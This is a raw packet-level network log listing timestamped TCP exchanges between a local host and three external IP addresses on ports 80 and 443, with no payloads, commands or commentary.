Oct 30, 2024 00:21:30.096191883 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096198082 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096209049 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096215963 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096230984 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096239090 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096249104 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096249104 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096266985 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096271992 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096290112 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096308947 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096357107 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096371889 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096386909 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096395969 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096405983 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096405983 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096424103 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096431017 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096440077 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096441031 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096470118 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096472025 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096482038 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096486092 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096503019 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096513033 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096518040 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096527100 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096534014 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096545935 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096555948 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096563101 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096575022 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096581936 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096596956 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096615076 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096622944 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096631050 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096647978 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096663952 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096673012 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096681118 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096695900 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096713066 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096719980 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096729040 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096733093 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096745014 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096761942 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096775055 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096792936 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096796989 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096812010 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096831083 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096846104 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096858025 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096862078 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096870899 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096879005 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096894979 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096903086 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096911907 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.096927881 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.096956015 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.106479883 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:30.140017986 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:30.183351040 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.307776928 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313358068 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313380003 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313396931 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313441992 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313453913 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313474894 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313491106 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313500881 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313510895 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313519001 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313529015 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313550949 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313565016 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313576937 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313580036 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313595057 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313611984 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313627005 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313640118 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313643932 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313661098 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313673019 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313679934 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313697100 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313718081 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313730001 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313733101 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313760042 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313777924 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313786030 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313795090 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313812017 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313834906 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313843966 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313853025 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313868999 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313884020 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313913107 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313927889 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313935995 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313952923 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313967943 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313982964 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.313986063 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313986063 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.313999891 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314011097 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314018011 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314024925 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314037085 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314042091 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314054012 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314057112 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314071894 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314086914 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314086914 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314104080 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314105988 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314181089 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314213037 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314235926 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314238071 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314251900 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314255953 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314271927 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314280033 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314300060 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314311028 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314311028 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314328909 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314342976 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314352036 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314359903 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314363956 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314376116 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314387083 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314393044 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314394951 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314413071 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314425945 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314425945 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314444065 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314448118 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314460993 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314476967 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314493895 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314502001 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314511061 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314527988 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314532042 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314548969 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314578056 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314646006 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314661980 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314677000 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314686060 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314693928 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314697981 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314712048 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314716101 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314728975 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314730883 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314745903 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314750910 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314755917 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314773083 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314785004 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314798117 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314811945 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314824104 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314836025 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314840078 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314858913 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314862967 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314882994 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314883947 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314893961 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314898968 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314915895 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314927101 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314939022 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314939976 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314950943 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314956903 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314970970 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.314975023 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314990997 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.314995050 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315009117 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315012932 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315026045 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315032005 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315042973 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315045118 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315058947 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315063000 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315076113 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315078974 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315092087 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315092087 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315108061 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315109015 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315124989 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315126896 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315145016 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315145969 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315161943 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315166950 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315180063 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315186024 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315195084 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315197945 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315216064 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315218925 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315232992 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315237045 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315257072 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315274000 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315556049 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315572023 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315586090 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315601110 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315608978 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315615892 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315633059 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315634012 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315651894 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315653086 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315669060 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315677881 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315682888 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315699100 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315701008 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315711975 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315717936 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315732002 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315741062 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315749884 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315758944 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315776110 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315790892 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315790892 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315807104 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315813065 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315823078 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315828085 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315840960 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315848112 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315856934 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315857887 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315880060 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315901995 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315902948 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315920115 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315934896 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315944910 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315951109 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315963030 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315968037 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315973997 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.315984964 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.315990925 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316003084 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316009045 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316020012 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316028118 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316036940 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316039085 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316052914 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316061974 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316070080 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316077948 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316086054 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316101074 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316103935 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316112995 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316122055 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316137075 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316140890 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316148996 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316158056 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316174984 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316176891 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316191912 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316193104 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316210032 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316217899 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316242933 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316261053 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316426039 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316442966 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316457033 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316474915 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316488981 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316490889 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316504955 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316509008 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316525936 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316539049 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316541910 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316560030 CET	80	59802	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:30.316561937 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316584110 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.316606998 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.323204994 CET	59802	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:30.331701040 CET	443	59806	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:30.331818104 CET	59806	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:30.452121973 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.452222109 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.452244997 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.452276945 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.452306986 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:30.452379942 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.452411890 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:30.452954054 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.453013897 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:30.453032970 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.453581095 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.453612089 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.453633070 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:30.453646898 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.453865051 CET	59803	443	192.168.2.5	185.199.111.133
Oct 30, 2024 00:21:30.559087038 CET	59806	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:30.559108973 CET	443	59806	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:30.559474945 CET	443	59806	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:30.560758114 CET	59806	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:30.560843945 CET	59806	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:30.560877085 CET	443	59806	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:30.568248987 CET	443	59803	185.199.111.133	192.168.2.5
Oct 30, 2024 00:21:30.568326950 CET	443	59803	185.199.111.133	192.168.2.5
